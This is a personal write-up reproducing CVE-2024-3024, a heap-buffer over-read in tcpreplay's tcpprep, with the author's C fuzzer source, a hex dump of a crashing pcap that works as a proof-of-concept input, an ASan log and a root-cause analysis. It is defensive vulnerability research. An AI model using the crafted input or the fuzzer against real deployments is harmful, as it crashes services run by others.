1. Analysis target
1.1. Analysis target
What is Tcpreplay?
A free, open-source collection of utilities for editing and replaying captured network traffic. It can classify network traffic as client or server traffic, modify packets, and send the traffic back onto the network.
tcpreplay: replay a pcap on the networktcprewrite: modify a pcap and create a new onetcpprep: create a cache file distinguishing client and server traffic
These are some of the tools it includes.
Target: tcpreplay v4.4.4 and earlier
Vulnerability commit information
Could not find official patch information.
Analysis environment
I set up Ubuntu 22.04 on WSL for the analysis.
OS version
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Ubuntu 22.04.5 LTS.
Compiler version
gcc version 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04)
GCC version 11.4.0.
Build instructions
Basic build
Run the Makefile.
./configure make sudo make installmakeBuild with Sanitizer
Change CFLAGS and CXXFLAGS in the Makefile above to
-g -fsanitize=address.# Build with ASAN export CC=gcc export CXX=g++ export CFLAGS="-g -fsanitize=address" export CXXFLAGS="-g -fsanitize=address" ./autogen.sh ./configure && make -j sudo make installBuild options
-g: compile with debugging symbols-fsanitize=address: build with ASAN
2. Summary of the 1-day vulnerability to reproduce
2.1. CVE-2024-3024
In tcpreplay 4.4.4, a heap-based buffer overflow occurs in get_layer4_v6 in /tcpreplay/src/common/get.c.
Metrics
NIST: NVD
Base Score: 7.8 HIGH
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
The attack vector is local, the attack complexity is low, and neither privileges nor user interaction are required, but confidentiality, integrity, and availability are all affected.
2.2. CWE-787: Out-of-Bounds Write
Description
- Writes data past the end or before the beginning of the intended buffer.
Common Consequences
Integrity: writes can corrupt memory and, in some cases, execute unexpected code.
Availability: accessing invalid memory can cause a crash.
2.3. CWE-122: Heap-based buffer overflow
Description
- An overflow in a buffer allocated on the heap.
Common Consequences
Availability: a buffer overflow can cause a crash and loss of availability.
Integrity, Confidentiality, Availability, Access Control: arbitrary code execution, bypassing protection mechanisms, or modifying memory may be possible.
Other: if arbitrary code is executed, it may be used to disrupt other security services.
2.4. 1-day vulnerability summary
The vulnerability occurs in tcpprep, which classifies packets in a pcap into client and server directions.
It can be triggered under specific conditions in --port mode, rather than the --auto mode that automatically classifies client and server directions.
The PCAP input to tcpprep needs the following structure to reach the vulnerability.
The headers must appear in this order: global header → packet header ->Ethernet→ ipv6 → hbh.
The Next header field in the Hop by Hop header must be 41, 43, 46, 60, 0 ,51.
The most important condition is the global header's snaplen: a heap-based buffer overflow occurs when it equals the length from the Ethernet header to the end of hbh (the IPv6 extension header), namely 14 + 40 + 8 * (n+1).
Heap memory is allocated for snaplen bytes. In the extension-header length check, the case where the end of the allocated memory is no greater than the end of the extension header passes, and reading the next byte causes a heap overflow.
3. Reasons behind the fuzzer design
Why this target?
It is open source, and the parsing involved in processing network packets is complex, so I thought there would be plenty of attack vectors.
Choosing the attack vector
A vulnerability was found in appneta tcpreplay up to 4.4.4. It has been classified as problematic. This affects the function get_layer4_v6 of the file /tcpreplay/src/common/get.c.
The CVE description says the vulnerability occurs in get_layer4_v6.

Looking at where get_layer4_v6 is used,
I could see that it is used in tcpprep.c, a tcpreplay component directly under the src directory.

The call hierarchy is main → process_raw_packets → check_dst_port → get_layer4_v6.
So I chose tcpprep as the attack vector.
Choosing the fuzzing point
while (!done) {
dbgx(3, "Processing proto: 0x%hx", (uint16_t)proto);
switch (proto) {
/* recurse due to v6-in-v6, need to recast next as an IPv6 Header */
case TCPR_IPV6_NH_IPV6:
dbg(3, "recursing due to v6-in-v6");
next = get_layer4_v6((ipv6_hdr_t *)next, end_ptr);
break;
/* loop again */
case TCPR_IPV6_NH_AH:
case TCPR_IPV6_NH_ROUTING:
case TCPR_IPV6_NH_DESTOPTS:
case TCPR_IPV6_NH_HBH:
dbgx(3, "Going deeper due to extension header 0x%02X", proto);
exthdr = get_ipv6_next(next, end_ptr);
if (exthdr == NULL) {
next = NULL;
done = true;
break;
}
proto = exthdr->ip_nh; // [1]
next = exthdr;
break;
/*
* Can't handle. Unparsable IPv6 fragment/encrypted data
*/
case TCPR_IPV6_NH_FRAGMENT:
case TCPR_IPV6_NH_ESP:
next = NULL;
done = true;
break;
/*
* no further processing, either TCP, UDP, ICMP, etc...
*/
default:
if (proto != ip6_hdr->ip_nh) {
dbgx(3, "Returning byte offset of this ext header: %u", IPV6_EXTLEN_TO_BYTES(next->ip_len));
next = (void *)((u_char *)next + IPV6_EXTLEN_TO_BYTES(next->ip_len)); // [2]
} else {
dbgx(3, "%s", "Returning end of IPv6 Header");
}
Looking at get_layer_v6, [1] and [2] seemed like places where an overflow might happen. Since the code is finding the next header, an incorrect length check could cause an overflow. I started with [1], where the IPv6 next header is an extension header such as Hop by Hop.
case PORT_MODE:
/*
* process ports based on their destination port
*/
dbg(2, "processing port mode...");
add_cache(&options->cachedata, SEND, check_dst_port(ip_hdr, ip6_hdr, (int)pkthdr.caplen - l2len));
break;
Looking at process_raw_packets(), port mode needs to be enabled to reach get_layer_v6.
That means running it with the tcpprep -p option.
The fuzzing point is get_layer_v6; run with tcpprep -p and try inputs with the IPv6 extension-header conditions in place.
4. Fuzzer flowcharts
4.1. Overall flowchart

4.2. Mutation flowchart

I left out byte insertion because it got in the way of reaching the fuzzing point, and mainly mutated length-related fields to produce a crash.
5. Sample seed file that reaches the fuzzing point
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting/pcap_fuzzer3/out/crashes$ xxd /home/d3lv/sys_bughunting/pcap_fuzzer3/out/crashes/mutated:86459,sig:134
00000000: d4c3 b2a1 0200 0400 0000 0000 0000 0000 ................
00000010: 3e00 0000 0100 0000 0000 0000 0000 0000 >...............
00000020: 4200 0000 4200 0000 0413 4a6f 686e 6f70 B...B.....Johnop
00000030: 656e 7365 86dd 6000 0000 000c 0040 2001 ense..`......@ .
00000040: 0db8 0000 0000 0000 0000 0000 0001 2001 .............. .
00000050: 0db8 0000 0000 0000 0000 0000 0002 0000 ................
00000060: 0500 0102 0000 4433 4c56 ......D3LV
6. Fuzzer implementation
I had been implementing these in Python, but this time I used C, referring to code someone else had written.
6.1. Fuzzer code and execution commands
- main()
int main(void){
const char *input_seed = "./seeds/seed";
const char *result_dir = "./out";
char mutated_filename[128] = "";
srand(123);
// 시드 생성
pcap_generate();
int crashed = 0;
time_t start_time = time(NULL);
// 뮤테이션
for (int i = 0; ; i++){
snprintf(mutated_filename, 128, "./seeds/mutated:%d", i);
if (mutate_packet(input_seed, (const char *)mutated_filename) != 0){
perror("mutation 실패");
};
//실행
int signal = executor((const char *)mutated_filename);
// int signal = executor(input_seed);
if (signal > 128 && signal != 255){
crashed++;
// log
logger(mutated_filename, result_dir, signal);
}
else if (signal != 0){
printf("Target exited with signal %d with mutated input.\n", signal); // 이 코드는 왜 넣으신 거지..?
}
mini_monitor(i, crashed, start_time);
unlink(mutated_filename);
}
return 0;
}
Generate the initial seed, mutate the seed packet into a new file, and run tcpprep with that file as an argument. Use the exit code to identify crashes, and if there is a crash, have the logger save the input file that caused it.
Finally, display the elapsed time and saved crash count, then remove the generated input file.
- pcap_generate()
This code generates the initial seed packet for reaching the fuzzing point.
void pcap_generate(void) {
pcap_t *pcap;
pcap_dumper_t *dumper;
struct pcap_pkthdr pkt_header;
uint8_t packet[PACKET_LEN];
memset(packet, 0, sizeof(packet));
// Ethernet Header
uint8_t *eth = packet;
uint8_t dst_mac[ETHER_ADDR_LEN] = {0x04, 0x13, 0x4a, 0x6f, 0x68, 0x6e}; //0413Johan
uint8_t src_mac[ETHER_ADDR_LEN] = {0x6f, 0x70, 0x65, 0x6e, 0x73, 0x65}; //opense
memcpy(eth, dst_mac, 6);
memcpy(eth + 6, src_mac, 6);
eth[12] = 0x86;
eth[13] = 0xdd; // EtherType: IPv6
// IPv6 Header
uint8_t *ip6 = packet + 14;
ip6[0] = 0x60; // Version 6
// Payload Length = HBH(8) + payload(4) = 12 bytes
ip6[4] = 0x00;
ip6[5] = 0x0c;
ip6[6] = 0x00; // Next Header = Hop-by-Hop = 0
ip6[7] = 64; // Hop Limit
// Src IP: 2001:db8::1
uint8_t src_ip[16] = { 0x20, 0x01, 0x0d, 0xb8 };
src_ip[15] = 0x01;
memcpy(ip6 + 8, src_ip, 16);
// Dst IP: 2001:db8::2
uint8_t dst_ip[16] = { 0x20, 0x01, 0x0d, 0xb8 };
dst_ip[15] = 0x02;
memcpy(ip6 + 24, dst_ip, 16);
// HBH Header (Next header: No Next Header = 59)
uint8_t *hbh = packet + 14 + 40;
hbh[0] = 0; // Next Header = No Next Header
hbh[1] = 0; // Hdr Ext Len = 0 (means 8 bytes total)
hbh[2] = 5; // Option Type: Pad1 (arbitrary example)
hbh[3] = 0; // Option Length
hbh[4] = 1; // Option Type: PadN
hbh[5] = 2; // Option Length
hbh[6] = 0; // Padding
hbh[7] = 0; // Padding
// Payload
uint8_t *payload = packet + 14 + 40 + 8;
payload[0] = 'D';
payload[1] = '3';
payload[2] = 'L';
payload[3] = 'V';
// PCAP 처리
pcap = pcap_open_dead(DLT_EN10MB, 65535);
dumper = pcap_dump_open(pcap, "./seeds/seed");
pkt_header.caplen = PACKET_LEN;
pkt_header.len = PACKET_LEN;
pkt_header.ts.tv_sec = 0;
pkt_header.ts.tv_usec = 0;
pcap_dump((u_char *)dumper, &pkt_header, packet);
pcap_dump_close(dumper);
pcap_close(pcap);
printf("PCAP written: seed\n");
}
I built it with an Ethernet frame, an IPv6 header, and a Hop by Hop extension header.
I set the Hop by Hop header's next header field to 0 to reach the fuzzing point.
- mutation
int mutate_packet(const char *input_file, const char *output_file) {
FILE *infile = fopen(input_file, "rb");
if (!infile) {
perror("input_file open 실패");
return -1;
}
FILE *outfile = fopen(output_file, "wb");
if (!outfile) {
perror("output_file open 실패");
fclose(infile);
return -1;
}
unsigned char dump[300]="";
size_t read_bytes = fread(dump, 1, FULL_LEN, infile);
if (read_bytes != FULL_LEN) {
perror("input_file 읽기 실패");
fclose(infile);
fclose(outfile);
return -1;
}
// int mutation_target = rand() % 5; // 0: snaplen, 1: pkt_hdr, 2: ipv6, 3: hbh, 4: payload_add
int mutation_target = rand() % 3; // 0: snaplen, 2. pkt_header lenfield , 3: payload_add
size_t pkt_len = FULL_LEN;
int loop = rand() % 3 +1;
for (int i = 0; i < loop; i++){
mutate(dump, mutation_target, &pkt_len);
}
// mutate(dump, 0, &pkt_len); // snaplen만 뮤테이션
fwrite(dump, 1, pkt_len, outfile);
fclose(infile);
fclose(outfile);
return 0;
}
mutate_packet randomly chooses which header to mutate.
It also chooses how many mutations to perform. Looking back while writing this up, I should have chosen the repetition count first and then randomly selected the mutation target inside the loop... I messed that up. I just added overhead and essentially did the same thing several times.
mutate() handles mutation for each header.
switch (type) {
case 0:
target = dump;
len = GLOBAL_LEN;
break;
case 1:
target = dump + OFFSET_PKTHDR;
len = PACKET_HEADER_LEN;
break;
case 2:
target = dump + OFFSET_IPV6;
len = IPV6_LEN;
break;
case 3:
target = dump + OFFSET_HBH;
len = HBH_LEN;
break;
case 4:
default:
target = dump + OFFSET_PAYLOAD;
len = 4;
break;
}
if (len == 0) return;
int method = rand() % 3;
switch (method) {
case 0:
bit_flip(target, len);
break;
case 1:
slice_repeat(target, &len, PACKET_LEN);
break;
case 2:
byte_insert(target, &len, PACKET_LEN);
break;
}
// switch (type) {
// case 0:
// target = dump + 16; // snaplen
// len = 4;
// bit_flip(target, len);
// break;
// case 1:
// target = dump + OFFSET_PKTHDR+8; // incl_len, orig_len
// len = 8;
// bit_flip(target, len);
// break;
// case 2:
// target = dump + OFFSET_IPV6 + 4; // payload length
// len = 2;
// bit_flip(target, len);
// break;
// case 3: // 재현이 잘 안됨..
// target = dump + OFFSET_HBH + 1; // hop by hop header 길이
// len = 1;
// bit_flip(target, len);
// break;
// case 4: // 마지막에 슬라이싱한거 추가
// default:
// target = dump + *pkt_len;
// slice_repeat(target, pkt_len, 300);
// break;
// if (len == 0) return;
// }
These are two of the mutation algorithms I tried.
The first randomly chooses bit flipping, byte insertion, or slice repetition within a region, without regard to individual fields.
The second mutates particular fields in particular headers using particular methods.
I ran the first for a day and got nothing. With the second, the fuzzer would stop partway through.
Byte insertion seemed to interfere with reaching the fuzzing point in both versions, so I removed it.
In theory, the first algorithm should have produced a crash too. The problem was that I had implemented bit flipping and crash detection incorrectly, so it never caught a crash. Without realizing that, I kept messing with the mutation code and trying again.
void mutate(unsigned char *dump, int type, size_t *pkt_len) {
size_t len = 0;
unsigned char *target = NULL;
switch (type) {
case 0:
target = dump + 16; // snaplen
len = 4;
bit_flip(target, len);
break;
case 1:
target = dump + OFFSET_PKTHDR + 8; // incl_len, orig_len
len = 8;
bit_flip(target, len);
break;
case 2: // 마지막에 슬라이싱한거 추가
default:
target = dump + *pkt_len;
slice_repeat(target, pkt_len, 300);
break;
if (len == 0) return;
}
}
In the end, I only bit-flipped the length-related parts needed for crash detection and used slice repeat to append data after the original seed.
This was my first time implementing a fuzzer in C. It's a shame—if the other parts had worked, even the first mutation code might have caught the crash.
- Mutation methods
void bit_flip(unsigned char *data, size_t len) {
if (len == 0) return;
for (int i = 0; i < len ; i++){
data[i] = data[i] >> 8;
}
int loop = rand() % 8;
size_t pos = rand() % len;
for (int i = 0; i < loop ; i++){
uint8_t bit = 1 << (rand() % 8);
data[pos] ^= bit & 0xff;
}
}
// // 쓰니까 퍼징포인트 도달을 못함;
// void byte_insert(unsigned char *data, size_t *len, size_t max_len) {
// if (*len >= max_len - 1) return;
// size_t pos = rand() % *len;
// memmove(data + pos + 1, data + pos, *len - pos);
// data[pos] = rand() % 256;
// (*len)++;
// }
void slice_repeat(unsigned char *data, size_t *len, size_t max_len) {
if (*len >= max_len - 4) return; // 충분한 공간이 없으면 리턴
size_t slice_len = 2 + rand() % 4;
if (slice_len >= *len || *len + slice_len > max_len) return; // slice_len과 len 검증
size_t pos = rand() % (*len - slice_len);
memmove(data + *len, data + pos, slice_len); // 슬라이스 반복
(*len) += slice_len;
}
At first, my bit flip only performed a single shift, so it could never find this vulnerability, which requires the field length to match exactly.
So I added the code above to decide how many times to perform lsft 1.
- Execution
int executor(const char *input_file) {
char command[256];
snprintf(command, sizeof(command), "ASAN_OPTIONS=abort_on_error=1 /usr/local/bin/tcpprep -p -i %s -o /dev/null", input_file);
FILE *pipe = popen(command, "r");
if (!pipe) {
perror("popen 실패");
return -1;
}
int status = pclose(pipe);
if (WIFSIGNALED(status)) {
printf("Signal exit. Signal number: %d\n", WTERMSIG(status));
return WTERMSIG(status);
}
printf("Normal exit. Exit code: %d\n", WEXITSTATUS(status));
return WEXITSTATUS(status);
// return 0;
}
I tried fork like the code I was referring to, but it was too slow, so I wrote it with popen.
When I first ran the fuzzer, I lost several days because I hadn't added ASAN_OPTIONS=abort_on_error=1. I only noticed later that status was 0 without it.
I also used status < 0 as I had in Python, and only later realized that the ASan exit code (WEXITSTATUS) was stored in status as 128 + N, rather than a negative value.
When ASAN terminated, it didn't enter the WIFSIGNALED(status) branch. So I ended up changing crash detection to check for an exit status greater than 128.
- Logger and monitoring
char *get_run_time(time_t start_time, char *arr_run_time)
{
time_t end_time = time(NULL);
double elapsed_seconds = difftime(end_time, start_time);
int days = (int)(elapsed_seconds / (60 * 60 * 24));
elapsed_seconds -= days * 60 * 60 * 24;
int hours = (int)(elapsed_seconds / (60 * 60));
elapsed_seconds -= hours * 60 * 60;
int minutes = (int)(elapsed_seconds / 60);
int seconds = (int)elapsed_seconds % 60;
snprintf(arr_run_time, 128, "%d일 %d시 %d분 %d초",
days, hours, minutes, seconds);
return arr_run_time;
}
void mini_monitor(int i, size_t crashed, time_t start_time)
{
char run_time[128];
fprintf(stdout, "\033[2J\033[H"); // clear
fprintf(stdout, " run time : %s\n", get_run_time(start_time, run_time));
fprintf(stdout, " corpus count : %d\n", i + 1);
fprintf(stdout, "saved crashes : %ld\n", crashed);
fflush(stdout);
}
The monitoring code was based on C code someone else had written.
It displays the runtime, the number of seeds processed, and the number of saved crashes.
void logger(const char *filename, const char *res_dir, int signal)
{
FILE *src_fp = NULL;
FILE *dest_fp = NULL;
char buffer[8192];
size_t bytes_read;
const char *base_filename = strrchr(filename, '/');
if (base_filename)
base_filename++; // '/' 다음 문자부터
else
base_filename = filename; // '/'가 없다면 원본 그대로
// printf("base_filename : %s\n", base_filename);
char dest_path[256];
snprintf(dest_path, sizeof(dest_path), "%s/crashes/%s,sig:%d", res_dir, base_filename, signal);
src_fp = fopen(filename, "rb");
if (src_fp == NULL) {
perror("logger src 파일 열기 실패");
return;
}
dest_fp = fopen(dest_path, "wb");
if (dest_fp == NULL) {
fclose(src_fp);
perror("logger dest 파일 열기 실패");
return;
}
while ((bytes_read = fread(buffer, 1, sizeof(buffer), src_fp)) > 0) {
if (fwrite(buffer, 1, bytes_read, dest_fp) != bytes_read) {
fclose(src_fp);
fclose(dest_fp);
perror("logger 파일 쓰기 실패");
return;
}
}
if (fclose(src_fp) == EOF) perror("logger src 파일 닫기 실패");
if (fclose(dest_fp) == EOF) perror("logger dest 파일 닫기 실패");
}
The logger saves the seed that caused a crash to a specified directory.
Fuzzer execution screenshots

Eight crashes were saved over 2 hours and 10 minutes.

The ASan crash log showed the same call order I had seen when looking at the get_layer4_v6 call hierarchy to choose the attack vector, followed by a heap-buffer-overflow.
Crash log (ASan) and minimized PoC code/file
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting/pcap_fuzzer3/out/crashes$ tcpprep -p -i /home/d3lv/sys_bughunting/pcap_fuzzer3/out/crashes/mutated:17022,sig:134 -o /dev/null
Warning: /home/d3lv/sys_bughunting/pcap_fuzzer3/out/crashes/mutated:17022,sig:134 was captured using a snaplen of 62 bytes. This may mean you have truncated packets.
=================================================================
==40315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000000be at pc 0x562c2c7d4dea bp 0x7fff06aaae30 sp 0x7fff06aaae20
READ of size 1 at 0x6060000000be thread T0
#0 0x562c2c7d4de9 in get_layer4_v6 /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/common/get.c:591
#1 0x562c2c7c2436 in check_dst_port /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/tcpprep.c:228
#2 0x562c2c7c3bde in process_raw_packets /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/tcpprep.c:536
#3 0x562c2c7c1eb9 in main /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/tcpprep.c:145
#4 0x7f5264f3dd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#5 0x7f5264f3de3f in __libc_start_main_impl ../csu/libc-start.c:392
#6 0x562c2c7bf2c4 in _start (/usr/local/bin/tcpprep+0x102c4)
0x6060000000be is located 0 bytes to the right of 62-byte region [0x606000000080,0x6060000000be)
allocated by thread T0 here:
#0 0x7f52652a6c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x7f52651ce137 (/lib/x86_64-linux-gnu/libpcap.so.0.8+0x29137)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/common/get.c:591 in get_layer4_v6
Shadow bytes around the buggy address:
0x0c0c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0c7fff8000: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x0c0c7fff8010: 00 00 00 00 00 00 00[06]fa fa fa fa fa fa fa fa
0x0c0c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==40315==ABORTING
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting$ xxd -s 0x10 seed2
00000010: 3e00 0000 0100 0000 0000 0000 0000 0000 >...............
00000020: 4200 0000 4200 0000 0413 4a6f 686e 6f70 B...B.....Johnop
00000030: 656e 7365 86dd 6000 0000 000c 0040 2001 ense..`......@ .
00000040: 0db8 0000 0000 0000 0000 0000 0001 2001 .............. .
00000050: 0db8 0000 0000 0000 0000 0000 0002 0000 ................
00000060: 0500 0102 0000 4433 4c56 ......D3LV
7. Vulnerability root cause analysis
case TCPR_IPV6_NH_HBH:
dbgx(3, "Going deeper due to extension header 0x%02X", proto);
exthdr = get_ipv6_next(next, end_ptr);
if (exthdr == NULL) {
next = NULL;
done = true;
break;
}
proto = exthdr->ip_nh; // heap buffer overflow 발생
next = exthdr;
break;
This is the part of get_layer4_v6 where the vulnerability occurs. next points to the beginning of the IPv6 header, and end_ptr is based on snaplen, with a value of snaplen-14 (Ethernet header size).
pcap_open_offline()determines the dynamic allocation size based onsnaplen. Since snaplen bytes are allocated,end_ptrpoints to the end of that memory.
/* all the rest require us to go deeper using the ip_len field */
case TCPR_IPV6_NH_IPV6:
case TCPR_IPV6_NH_ROUTING:
case TCPR_IPV6_NH_DESTOPTS:
case TCPR_IPV6_NH_HBH:
case TCPR_IPV6_NH_AH:
extlen = IPV6_EXTLEN_TO_BYTES(exthdr->ip_len);
dbgx(3,
"Looks like we're an ext header (0x%hhx). Jumping %u bytes"
" to the next",
exthdr->ip_nh,
extlen);
ptr = (u_char *)exthdr + extlen;
if (ptr > end_ptr)
return NULL;
return (void *)ptr;
Internally, get_ipv6_next() determines the next position.
The problem occurs at extlen = IPV6_EXTLEN_TO_BYTES(exthdr->ip_len);.
/* convert IPv6 Extension Header Len value to bytes */
#define IPV6_EXTLEN_TO_BYTES(x) ((x * 4) + 8)
If the packet has just one HbH header with its length set to 0, extlen becomes 8. The exthdr+extlen calculation then points to the very end of the allocated memory, end_ptr.
if (ptr > end_ptr)
return NULL;
There is a check below it, but it only catches values that exceed the boundary, not values equal to it.
exthdr = get_ipv6_next(next, end_ptr);
if (exthdr == NULL) {
next = NULL;
done = true;
break;
}
proto = exthdr->ip_nh; // 취약점 발생
next = exthdr;
Back in get_layer4_v6, accessing the next byte at ip_nh at the memory boundary causes a heap-based buffer overflow.
Summary
case TCPR_IPV6_NH_AH:
case TCPR_IPV6_NH_ROUTING:
case TCPR_IPV6_NH_DESTOPTS:
case TCPR_IPV6_NH_HBH:
When the IPv6 next header is one of the above, and the size from the Ethernet header to the end of the IPv6 next header equals the global header's snaplen, reading the next byte causes the vulnerability.
8. Thoughts
I decided to try doing this in C and ended up spending two full weeks on something I thought would take one.
It took so long to fix dozens of problems: crash detection and saving, the broken bit flip, packet offset miscalculations, and so on.


I'd never had this much memory corruption in a program I wrote. I put ASan on the fuzzer itself and found and fixed it all..
Once I understood the root cause, I realized that what I'd originally had in mind could theoretically have produced a crash too. It's supposed to be a fuzzer, but in the end I narrowed and targeted the mutation so much just to reproduce the 1-day. That's a shame. There are still plenty of rough edges in the C fuzzer too.